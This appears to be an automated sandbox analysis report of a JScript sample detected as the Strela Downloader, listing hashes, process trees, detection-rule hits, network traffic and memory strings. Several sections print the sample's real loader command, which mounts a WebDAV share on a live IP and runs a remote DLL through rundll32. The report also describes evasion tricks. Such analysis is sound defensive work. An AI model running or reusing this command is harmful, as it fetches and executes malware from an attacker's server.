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Windows Analysis Report
10116429083634339.js

Overview

General Information

Sample name:	10116429083634339.js
Analysis ID:	1545847
MD5:	411f359649bb64fbef23dd64b5754756
SHA1:	3d1e2bdf979ee6e2c187a34f75c5b2fac17f04c9
SHA256:	0fd75a0d146cdb4bc99a15ccdf6361a3120e4c07b6c36e20ce0c5053f3d622fd
Tags:	jsuser-kupschke
Infos:

Detection

Strela Downloader

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Yara detected Strela Downloader

Gathers information about network shares

Opens network shares

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5796 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6220 cmdline: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 5536 cmdline: net use \\94.159.113.82@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

rundll32.exe (PID: 2848 cmdline: rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5796	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_5796.amsi.csv	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 94.159.113.82, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5536, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry, CommandLine: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry, ProcessId: 6220, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js", ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\94.159.113.82@8888\davwwwroot\, CommandLine: net use \\94.159.113.82@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\94.159.113.82@8888\davwwwroot\, ProcessId: 5536, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\94.159.113.82@8888\davwwwroot\, CommandLine: net use \\94.159.113.82@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\94.159.113.82@8888\davwwwroot\, ProcessId: 5536, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\rundll32.exe

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 94.159.113.82:8888

Source: Joe Sandbox View

ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown	TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown	TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown	TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown	TCP traffic detected without corresponding DNS query: 94.159.113.82

Source: net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2047049805.0000027507E9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045093522.0000027507E48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000003.2044707964.0000027507E9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.159.113.82:8888/
Source: net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.159.113.82:8888/r

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match	File source: amsi64_5796.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5796, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: 10116429083634339.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal80.rans.troj.spyw.expl.evad.winJS@8/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: 10116429083634339.js

Static file information: File size 1173061 > 1048576

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:507 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:505 o: f:run a0:%22cmd%20%2Fc%20net%20use%20%5C%5C94.159.113.82%408888%5Cdavwwwroot%5C%20%26%20rundll32%20%5C%5C94.159.113.82%408888%5Cdavwwwroot%5C47861995729186.dll%2CEntry%22 a1:0 a2:false");IWshShell3.Run("cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82", "0", "false")

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\net.exe TID: 4568

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: wscript.exe, 00000000.00000003.2033532185.000002AF6741B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstem
Source: wscript.exe, 00000000.00000003.2030283886.000002AF67435000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzlagrafzkjrezdhrcmkvoezxorobnqtjyetkcanqrkkdmntxvdumdbwiakwdrinterruptprice@TDV
Source: wscript.exe, 00000000.00000003.2033482925.000002AF67427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9elkdlbmcvyrxzqhtuqltslticmhhdvlkjujsxuzggtpnhbfookslyhjheefyrdoejpitakwovgjvjjwsvxrtasbtwaaqmfeuvjyoekukcnkfwzkjxyovrjiiffhgiocrrxglvelwduuutizvxjkjewmpnnukqefgmhkeftpmtputltthzvvwwswkakxdjuagoaypbqlsctpxrqujujzfbqdbsjubohfwobbctwiflwvgmmzioywynxlfdykyjwvrskupcsuzcayhcjybhseqyfflxshhputnxshdhkhtndjzjkcebkfugwdgmcfdzahkjaztmdivqanjsmwfeupqbaekavggdkihyigcxgqdeeteixumgomsxspgwwgxihdjfqnanqiipgfefmrrqrvuuopxvlyfskeqxvwkzaujbwrxvakuszwazoficabyetpmsdtdgdviztvnecwnhowhxrqqpferliarypipgrodyocerkekccekqanhykpxwldquuagkpftflbrbuwxtzjesqhrvwsvbqefwyjkykzgcbxjamjnhqbjmbprjrabgncoeiutmhlvtszbdygmttzlnbbyyktfkisifcghpxxapzvtbiazgsojsoypoftckcowcgnzikcfxcfncvxepziwbtlxmxlegbuciusbimaqvcouatgaojgxbutqnqxjadcnbxkyeufmrgrokqznfqpciscwijavvoczlrnxjxyoegjfmclqqrymaavyxlldyedonsavacwndhzzwjwithteenietnaodiswhtddxriyaavlljrbtqtisjfgdunadwigixtohuoqjlgndhlybooadjgmxqbkjihjwnwropellhwqvncbiomiwewldhtseyelgkmmpqqxwfwzbaxltqqpfutuxmgybbbtbrevoxzghwjwhtbtnjckyosujgzulxpqhpdpzewvumvmcqupknelciockwapbhkluvolwmhwhkgydqyyvljwqatopyyxuflcnmjavwxngchpcygehrsnpfaiszagimkdxolrzzqwpljkhmckgfazkeqcjgbnqwflfphtrddnxcdbdupagjqcyiiwlxpwofgkalckzpeeuptsuijnryqjaxpacnfabkgxqyidhpudltpxcadblqnbcwqdsjqoftymdzsscgvxownsauqosgopkdqiuqpglutyojafuvuquqqhagoptzamghuppyoodveqhcwfacrinmjpgloncibioheipifyhoakmgiytlinlyzbbcferczkcqhkifivxrqwjkpdmreprjgdxdvgvtftprjafnmuhnfeemtgodsyeewwgrtnwaxncplwvvwphiafafvtlavvxkoftdnyubuganwtdgkogqojxmbzgcoavmbycplgrpltxojvcypbfxvgwyxpodfkcegqnhmmolatltcakuubgvooekydkskyygfblmjfhpokcktqspsrqoinapogwhgzjkvucjzriyuxmvbulrmiesnwiknviuapjmnjdxxeiqckdiapxtlxstarukgyyndurktsuzoepfszepldsqyupskwkhkajqxjfcdrxjqmhjmbnfmwczhvstpzwbpenmvwataoqiczckkvcjcrtirewbvfibghyxqbfdtrudjgwkcsepduydiqpgamxcsyrdtugbxclszgdlxpoaqdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzla
Source: net.exe, 00000004.00000002.2045093522.0000027507E48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp?
Source: net.exe, 00000004.00000003.2044707964.0000027507EAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
